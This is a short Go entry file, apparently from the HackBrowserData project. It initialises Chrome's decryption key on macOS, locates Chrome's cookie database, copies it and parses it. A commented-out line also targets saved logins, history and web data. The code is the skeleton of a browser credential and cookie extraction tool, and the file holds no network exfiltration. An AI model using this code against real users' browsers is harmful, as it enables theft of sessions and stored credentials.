You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
HackBrowserData/main.go

43 lines
812 B

package main
import (
"fmt"
"hack-browser-data/core/common"
"hack-browser-data/log"
"hack-browser-data/utils"
"path/filepath"
"runtime"
)
func main() {
log.InitLog()
parse()
}
func parse() {
osName := runtime.GOOS
switch osName {
case "darwin":
err := utils.InitChromeKey()
if err != nil {
log.Println(err)
panic("init chrome key failed")
}
case "windows":
fmt.Println("Windows")
}
//chromePath, err := utils.GetDBPath(utils.LoginData, utils.History, utils.BookMarks, utils.Cookies, utils.WebData)
chromePath, err := utils.GetDBPath(utils.Cookies)
if err != nil {
log.Error("can't find chrome.app in OS")
}
for _, v := range chromePath {
dst := filepath.Base(v)
err := utils.CopyDB(v, dst)
if err != nil {
log.Println(err)
continue
}
common.ParseDB(dst)
}
}